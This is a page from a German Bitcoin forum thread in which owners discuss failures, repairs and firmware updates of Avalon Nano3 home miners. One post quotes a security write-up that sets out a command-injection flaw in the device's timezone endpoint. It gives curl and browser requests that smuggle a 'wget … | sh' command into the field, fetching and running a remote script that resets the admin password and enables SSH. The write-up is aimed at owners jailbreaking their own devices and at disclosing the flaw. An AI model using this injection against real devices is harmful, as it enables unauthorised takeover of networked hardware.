Bitcoin Forum
December 29, 2025, 05:10:42 AM *
News: Latest Bitcoin Core release: 30.0 [Torrent]
 
   Home   Help Search Login Register More  
Pages: « 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [15] 16 »  All
  Print  
Author Topic: Mining Anfänger - Avalon Nano3  (Read 6518 times)
tux1975
Full Member
***
Offline Offline

Activity: 529
Merit: 155


View Profile
August 14, 2025, 03:12:15 PM
Last edit: August 14, 2025, 04:55:06 PM by tux1975
 #281

der nächste aus der ersten Charge fängt auch an rumzuzicken ,dort verabschiedet sich warscheinlich ein Chip...

Updates werden für die Kisten warscheinlich auch keine mehr kommen da im letzten Update Zyklus auch wieder nur der Nano3S versorgt wurde  Undecided
Die Mini´s haben die gleichen Firmware/ Software Probleme  und den Q habe ich nicht gekauft, bin geheilt von Canaan  Roll Eyes
epomis
Member
**
Offline Offline

Activity: 110
Merit: 75


View Profile
September 30, 2025, 06:58:13 AM
 #282

Jetzt hat es auch meinen Nano3 erwischt. Nachts um 3 ist die Sicherung rausgeflogen und rien ne va plus.
Die Qualität scheint wirklich nicht so toll zu sein.

Frage an die, die schon Probleme hatten... wisst ihr was bei euch die Ursache war?
willi9974
Legendary
*
Offline Offline

Activity: 4018
Merit: 3683



View Profile
September 30, 2025, 08:18:08 AM
Merited by Buchi-88 (1)
 #283

Bei mir läuft alles ganz gut, hab den Speed aber auch immer nur auf LOW stehen, damit das Gerät nicht zu heiß wird.
Die Software ist solala, aber für den Preis den ich damals hatte kann man nicht mehr verlangen.

Daumen drücken, dass sie noch lange laufen.

Viele Grüße
Willi

epomis
Member
**
Offline Offline

Activity: 110
Merit: 75


View Profile
October 13, 2025, 04:58:20 PM
Merited by Buchi-88 (1)
 #284

Das Netzteil war bei mir die Ursache. Da es noch kein Jahr alt war hab ich es reklamiert und Ersatz bekommen und jetzt läuft er wieder.
Es war allerdings nicht das original Canaan-Netzteil, ich hatte den Nano ohne Netzteil bei mineshop.eu gekauft und mir dann bei ebay ein Netzteil besorgt.

Anfangs hatte ich den Nano auf high laufen lassen, ab Frühjahr dann nicht mehr und werde auch zukünftig nicht mehr über medium gehen.
Stargazer-132
Member
**
Offline Offline

Activity: 168
Merit: 39


View Profile
October 14, 2025, 09:14:44 AM
Merited by Buchi-88 (1)
 #285

Dann kann der Nano 3 ja nix dafür, alles gut.

Mein im August notdürftig reparierter Nano 3 tut es immer noch. Hab zwar die Ersatzteile hier liegen, aber noch nicht die Muse gehabt diese auch einzubauen. Werde demnächst die Nano 3 aus der Werkstatt wieder unter anderem ins Büro holen zur Heizunterstützung. Da wird ja wieder an dem einen oder anderen Kabel gewackelt werden müssen, schauen wir mal :-)
TSky
Member
**
Offline Offline

Activity: 213
Merit: 45


View Profile
October 14, 2025, 09:50:13 AM
Merited by Buchi-88 (2)
 #286

Dann kann der Nano 3 ja nix dafür, alles gut.

Mein im August notdürftig reparierter Nano 3 tut es immer noch. Hab zwar die Ersatzteile hier liegen, aber noch nicht die Muse gehabt diese auch einzubauen. Werde demnächst die Nano 3 aus der Werkstatt wieder unter anderem ins Büro holen zur Heizunterstützung. Da wird ja wieder an dem einen oder anderen Kabel gewackelt werden müssen, schauen wir mal :-)

Never touch a running system  Grin

-= BTC rules =-
cygan
Legendary
*
Offline Offline

Activity: 3752
Merit: 11521


icarus-cards.eu


View Profile WWW
November 06, 2025, 08:17:51 AM
 #287

für den avalon nano 3s wurde nun die firmware veröffentlich und ist nun somit open-source
jetzt können alle, die einen nano 3s besitzen und zeit/lust fürs tüfteln und basteln haben, sich ans werk machen Grin

https://github.com/Canaan-Creative/Avalon_Nano3s

Stargazer-132
Member
**
Offline Offline

Activity: 168
Merit: 39


View Profile
November 06, 2025, 09:51:01 AM
 #288

Ja, die gibts schon etwas länger. Für den Nano 3 ohne s leider nicht. Hier muss man auf sowas hier ausweichen, wenn man etwas automatisieren möchte: https://github.com/homemining/avalon-nano-cli

Und wer einen Avalon Q hat, kann gerne das hier mal versuchen: https://github.com/c7ph3r10/ha_avalonq
x3t9fi
Sr. Member
****
Offline Offline

Activity: 507
Merit: 287


View Profile
November 07, 2025, 07:52:09 PM
 #289

Ist canaan nicht auch hier im Forum unterwegs? Evt. sollten wir da mal direkt anschreiben in einem aktiven Thread oder so... zumindest könnten Sie doch einmal die regelmässigen Stops patchen... echt... damit wäre ich pers. schon zufrieden.

> Alles im Universum ist entweder eine Ente oder nicht. <
Hanz-Wurscht
Member
**
Offline Offline

Activity: 439
Merit: 40

Hodler


View Profile WWW
November 08, 2025, 07:59:28 AM
 #290

Ich habe einen Nano3, dieser läuft stabil. Wieso sollte man da neue Firmware flashen? Das macht doch keinen Sinn. Never change a running system.

x3t9fi
Sr. Member
****
Offline Offline

Activity: 507
Merit: 287


View Profile
November 08, 2025, 08:05:17 AM
 #291

Ich habe einen Nano3, dieser läuft stabil. Wieso sollte man da neue Firmware flashen? Das macht doch keinen Sinn. Never change a running system.

Grundsätzlich wegen z.B. dem Patchen von Sicherheitslücken und Fehlern wie z.B. aus diesem Thread:
(Allgemein, nicht auf den Nano bezogen - Teilweise gibt es auch perf. Optimierungen und neue Features)
EDIT: Link zum Thread: https://asktom.cf/index.php?topic=5480799.400


Alright, I just registered to post here some research I've done. I've published it at my personal page, but I'll mirror it verbatim also here for your convenience. It might explain why many of your devices died, and how to prevent that in the future:



The Avalon Nano3 is a SHA256 cryptocurrency miner developed by Canaan. The efficiency isn't stellar by any means compared to other modern miners, but it is sold as a small heater, and it does a pretty good job at that.

The device has:

  • A Canaan Kendryte K230 SoC, with a 1.6GHz RISC-V processor.
  • 128MB of RAM.
  • 128MB of NAND FLASH for the firmware (U-Boot, filesystem, kernel and settings).
  • 10x A3198 SHA256 ASICs, for a peak performance of 4TH/s.

Gaining SSH access

The Nano3 has many security issues. Lots of them.

One which we can easily exploit to gain SSH access on the device is an unchecked system(3) function call that the device uses to update the timezone.

When you update the timezone from the web interface, a POST request like the following is issued:

Code:
curl 'http://<miner IP>/timezoneconf.cgi' \
  -b 'auth=ff0000ff4813494d137e1631bba301d5' \
  --data-raw 'timezone=Etc%2FUTC'

That timezone is passed unchecked to the following function:

Code:
uint8_t set_timezone(const char *timezone) {
    char cmd[256];
    memset(cmd, 0, sizeof(cmd));
    sprintf(cmd, "ln -sf /usr/share/zoneinfo/%s /etc/localtime", timezone);
    system(cmd);
    return 0;
}

Of course, there is nothing preventing us from passing something else than a timezone, running arbitrary code on the device.

The function that calls set_timezone uses a small 64-byte buffer to store the timezone (of course with no boundary checks!), so we cannot fit in there a whole ass jailbreak script. However, it is enough to fit a small script that fetches the true jailbreak from the internet.

If you haven't changed the original password on the device (root), this cURL call will trigger a fetch to https://xn--i29h.ge/n.sh, then execute it:

Code:
curl 'http://<miner IP>/timezoneconf.cgi' \
  -b 'auth=ff0000ff4813494d137e1631bba301d5' \
  --data-raw 'timezone=%3Bwget%20http%3A%2F%2Fxn--i29h.ge%2Fn.sh%20-O-%7Csh%3B'

Alternatively, you can also trigger it from your web browser's JavaScript console. Just log into your device, then paste:

Code:
await fetch("/timezoneconf.cgi", {
  "body": "timezone=" + encodeURIComponent(";wget http://xn--i29h.ge/n.sh -O-|sh;"),
  "method": "POST"
});

The payload has comments, so feel free to check it, but it:

  • Changes the admin user password to admin. The original password hash is $5$1N6rEpvUXco$0QAASdP5iZRPWxgmAZQkTC0FM8GGw6L7HnprqT7Ll72 which I've not cracked.
  • Generates a new ED25519 host key.
  • Creates the jail environment the SSH daemon expects.
  • Configures SSH as a init service.
  • Launches the SSH service, so you don't have to reboot.

After running the command, you should be able to connect via SSH. Once SSH works, remember to configure again the correct timezone!



Reduce flash wear

From factory, the miner performs multiple unnecessary writes to flash.

This a pretty serious problem because it uses a NAND flash IC, which are generally rated for only about 1k to 10k writes per sector. Even with UBI's wear leveling, this still causes some serious and unnecessary stress on the flash that can and will cut short the lifespan of the miner.

After running any of the scripts below, you have to reboot the device for changes to be applied, preferrably via SSH using the reboot command or the web interface. Do not yank out the power cable that, as that could corrupt the new scripts if done in the middle of a flush to flash.

Logs to RAM

The worst offender is the logging. Every single log line, such as "share accepted" or "current hash rate", is saved to flash. That results in multiple erase/write cycles times per second.

To fix the issue, it is possible to simply move the log folder from flash to RAM by creating a symbolic link. This means logs no longer cause any flash writes, but they are also no longer kept between reboots of the device.

Connect via SSH, and then just paste this script in the terminal:
Code:
sudo tee /etc/init.d/S51zlog.sh <<EOF >/dev/null
if ! [ -L /data/log ]; then
    rm -rf /data/log
    ln -s /tmp/zlog /data/log
fi
mkdir /tmp/zlog
EOF

If you're worried about RAM usage from the logs causing some instability, it's quite unlikely. Logs are limited to 6MB, and if you run free -m you'll see more than half the RAM sits unused.

Disable shell history

Another thing you can consider doing is disabling the shell command history file, which also logs to flash every single command you type via SSH. The following script (that also needs to run as root) does so:
Code:
echo "export HISTFILE=" | sudo tee /etc/profile.d/no-history.sh >/dev/null

Supply chain attacks

The firmware web interface in multiple spots loads JavaScript files from a remote CDN without a specifying an exact version, and without an integrity check.

A rogue lead developer/maintainer of the dependencies could then publish a version of the libraries infected with malware that, when an user accessed the web GUI, gave him full control of the device.

You think it's unlikely? Already. Happened. Multiple. Times.

This (long) script fixes the version of the dependencies, adds integrity checks and removes referrers to remote CDNs for privacy:
Code:
sed -i \
    -e 's#"https://cdn.jsdelivr.net/npm/[email protected]/dist/chart.umd.min.js"#"https://cdnjs.cloudflare.com/ajax/libs/Chart.js/4.2.1/chart.umd.min.js" integrity="sha512-GCiwmzA0bNGVsp1otzTJ4LWQT2jjGJENLGyLlerlzckNI30moi2EQT0AfRI7fLYYYDKR+7hnuh35r3y1uJzugw==" crossorigin="anonymous" referrerpolicy="no-referrer"#' \
    -e 's#"https://cdn.jsdelivr.net/npm/chartjs-plugin-datalabels@2"#"https://cdnjs.cloudflare.com/ajax/libs/chartjs-plugin-datalabels/2.2.0/chartjs-plugin-datalabels.min.js" integrity="sha512-JPcRR8yFa8mmCsfrw4TNte1ZvF1e3+1SdGMslZvmrzDYxS69J7J49vkFL8u6u8PlPJK+H3voElBtUCzaXj+6ig==" crossorigin="anonymous" referrerpolicy="no-referrer"#' \
    -e 's#"https://cdn.jsdelivr.net/npm/luxon@^2"#"https://cdnjs.cloudflare.com/ajax/libs/luxon/2.5.2/luxon.min.js" integrity="sha512-a1S2Hm5CJEfm+1dEJFoFXfvE4Q9D3CiHSF/GBR02ZMkiz40aRXRti0Ht+nMm2nyVpl5AFatAxsBzgvOchLnQ5g==" crossorigin="anonymous" referrerpolicy="no-referrer"#' \
    -e 's#"https://cdn.jsdelivr.net/npm/chartjs-adapter-luxon@^1"#"https://cdnjs.cloudflare.com/ajax/libs/chartjs-adapter-luxon/1.3.1/chartjs-adapter-luxon.umd.min.js" integrity="sha512-I8SeDoNxRKOuQMhqHmx95hydiG/LCY9SFCs3cqAf+f1kIZbAyXXIXIIwgx32ZIgZpOVrEOHSfyjeKxRNIuBvWQ==" crossorigin="anonymous" referrerpolicy="no-referrer"#' \
    /mnt/heater/www/html/overview.html
sed -i \
    -e 's#"https://cdn.jsdelivr.net/npm/[email protected]/dist/jquery.slim.min.js"#"https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.0/jquery.min.js" integrity="sha512-k2WPPrSgRFI6cTaHHhJdc8kAXaRM4JBFEDo1pPGGlYiOyv4vnA0Pp0G5XMYYxgAPmtmv/IIaQA6n5fLAyJaFMA==" crossorigin="anonymous" referrerpolicy="no-referrer"#' \
    -e 's#"https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"#"https://cdnjs.cloudflare.com/ajax/libs/bootstrap/4.6.2/js/bootstrap.bundle.min.js" integrity="sha512-igl8WEUuas9k5dtnhKqyyld6TzzRjvMqLC79jkgT3z02FvJyHAuUtyemm/P/jYSne1xwFI06ezQxEwweaiV7VA==" crossorigin="anonymous" referrerpolicy="no-referrer"#' \
    /mnt/heater/www/html/upgrade.html

Restore original firmware

The Android application fetches https://sinh1-aws-app01.s3.ap-southeast-1.amazonaws.com/app/update.json to detect firmware updates. To restore the OEM firmware, just download the .swu file linked in the JSON and upload it via the swupdate interface exposed at http://<miner IP>:9090/.

As a side note: firmwares are signed using a RSA key, so custom firmwares would require SSH access and some patching of the swupdate binary.

Footnote

As I've proven here, the device is incredibly insecure. Do not, under any circumstance, use it on an untrusted network.


> Alles im Universum ist entweder eine Ente oder nicht. <
hawer357
Full Member
***
Offline Offline

Activity: 508
Merit: 108

Coin, Coin, Bitcoin


View Profile
November 08, 2025, 10:04:28 PM
 #292

Ich habe einen Nano3, dieser läuft stabil. Wieso sollte man da neue Firmware flashen? Das macht doch keinen Sinn. Never change a running system.

Vielleicht schaust du dir mal an, wie viele Änderungen in die Bitaxe-Firmware fließt. Jede Änderung ist ein Argument, um die Firmware zu flashen! Du kannst natürlich darauf verzichten, die meisten User werden das aber nicht.

--== Monitor willi9974's Solo Pool Miner Race @ https://solorun.lima.zone/ ==--
Stargazer-132
Member
**
Offline Offline

Activity: 168
Merit: 39


View Profile
November 14, 2025, 04:44:24 PM
 #293

Dann kann der Nano 3 ja nix dafür, alles gut.

Mein im August notdürftig reparierter Nano 3 tut es immer noch. Hab zwar die Ersatzteile hier liegen, aber noch nicht die Muse gehabt diese auch einzubauen. Werde demnächst die Nano 3 aus der Werkstatt wieder unter anderem ins Büro holen zur Heizunterstützung. Da wird ja wieder an dem einen oder anderen Kabel gewackelt werden müssen, schauen wir mal :-)

Tja, heute wieder Totalausfall, nachdem ich wohl mit nem kleinen Staubbläser aus Versehen am Kabel gewackelt hab. Ließ sich auch nur mit viel Geduld und festhalten des Steckers zum Leben erwecken. Also wieder auf die Kiste und endlich mal die Drossel ersetzt. Läuft wieder. Der Wärmeleitkleber muss aber paar Stunden aushärten, hab die nun viel größere Drossel auf eine ähnlich große hinter dem Lüfter aufgeklebt und 2 dickere Drähte verbaut. Hoffe ihr versteht was ich meine, mit Bildern (hab ich) ist mir am Handy zu frickelig.
x3t9fi
Sr. Member
****
Offline Offline

Activity: 507
Merit: 287


View Profile
November 14, 2025, 07:06:44 PM
Merited by cygan (3)
 #294

Gerade heute noch in der App entdeckt - Es scheint ein FW-Upgrade für die Nano3 zu geben, was zumindest den bekannten Bug beheben sollte/könnte:
Firmware Version: 25103101_0736b2e zumindest laut Webinterface.




> Alles im Universum ist entweder eine Ente oder nicht. <
tux1975
Full Member
***
Offline Offline

Activity: 529
Merit: 155


View Profile
November 15, 2025, 06:09:11 AM
 #295

Dein "bekannter Bug" betraf nur die erste und zweite Charge und wurde mit Firmware Version 24071801_42c628d behoben ...

Stargazer-132
Member
**
Offline Offline

Activity: 168
Merit: 39


View Profile
November 15, 2025, 08:13:17 AM
Last edit: November 15, 2025, 02:29:48 PM by Stargazer-132
 #296

Danke! Ich war mir eigentlich sicher die aktuellste Firmware zu haben (einmal wurde die bereits aktualisiert, dann war's lange ruhig). Bei allen 4 Nanos wurde mir das heute angeboten, direkt installiert.

Vorher war diese hier installiert: Firmware Version 24071801_42c628d jetzt: Firmware Version 25103101_0736b2e

Update: Aber Vorsicht, beendet nicht die App oder wechselt zu einer anderen App während der Installation und/oder des 2-minütigen Countdowns danach. Mir hats scheinbar dadurch zwei meiner Nano 3 zerissen. Gingen an, , LED-Leiste weiß und das Display blieb mit Avalon-Logo so stehen und die Miner waren nicht erreichbar. Ich durfte die über das Recovery-Tool am Laptop wieder zum Leben erwecken, alle Settings wieder einstellen und das Firmwareupdate jeweils nochmal machen. Jetzt hab ich wieder 4 lauffähige mit aktuellster Firmware. Ich lasse den einen mit der neu eingebauten Drossel mal ein paar Stunden auf 4 TH/s laufen als Stresstest.

Hier noch die Bilder von der Bastelei des einen Nano 3:


cygan
Legendary
*
Offline Offline

Activity: 3752
Merit: 11521


icarus-cards.eu


View Profile WWW
November 18, 2025, 05:46:54 PM
 #297

Gerade heute noch in der App entdeckt - Es scheint ein FW-Upgrade für die Nano3 zu geben, was zumindest den bekannten Bug beheben sollte/könnte:
Firmware Version: 25103101_0736b2e zumindest laut Webinterface.
...

gestern meine zwei avalon nanos mit der neuen firmware bestückt...
leider gibt es immernoch keine extra infos über die ganzen shares usw. in der app... echtes armutszeugnis, was das angeht

yourproblem
Newbie
*
Offline Offline

Activity: 2
Merit: 0


View Profile
November 28, 2025, 08:02:30 AM
Last edit: November 28, 2025, 08:13:20 AM by yourproblem
 #298

Kann mir einer sagen, was defekt sein könnte bei folgendem Fehler: Ich stecke ein (neues) Netzteil mit 28v 5A PD3.1 an. Die rote Led auf der Platine am Display blinkt, der große Chip in der Mitte wird heiß, die Spannung am VBUS ist knapp 5V, die Spannung am Testpunkt 1V8 bricht zusammen auf unter 1V.

https://talkimg.com/images/2025/11/28/URtUiG.jpeg
Stargazer-132
Member
**
Offline Offline

Activity: 168
Merit: 39


View Profile
November 30, 2025, 04:10:04 PM
Last edit: November 30, 2025, 04:26:46 PM by Stargazer-132
 #299

Wüsste ich jetzt leider auch nicht. Die CPU im Nano 3 wird aber normalerweise nicht wirklich heiß. Kenne auch nur das scheinbar häufigere Problem mit der sich durch die Hitze selbst ablösenden (lötet sich selbst aus) Drossel und damit das Problem in der Stromversorgung. Teilweise ist auch der größere SMD-Widerstand vor der Drossel betroffen, der durch mech. Krafteinwirkung an der USB-C Buchse brechen kann. Designfehler. Canaan selbst hatte da mal einen Artikel veröffentlicht.
michaelmeier
Newbie
*
Offline Offline

Activity: 2
Merit: 0


View Profile
December 01, 2025, 07:46:02 PM
 #300

Gerade heute noch in der App entdeckt - Es scheint ein FW-Upgrade für die Nano3 zu geben, was zumindest den bekannten Bug beheben sollte/könnte:
Firmware Version: 25103101_0736b2e zumindest laut Webinterface.

https://www.talkimg.com/images/2025/11/14/UP6IE8.md.png



Magst Du mir bitte sagen, welche App das ist und wo ich die für ios oder notfalls android finden kann? Ich finde die im ios Store nur die Avalon Family App und keine andere. Und damit kann man keine Firmware updaten.

Danke!
Pages: « 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [15] 16 »  All
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.19 | SMF © 2006-2009, Simple Machines Valid XHTML 1.0! Valid CSS!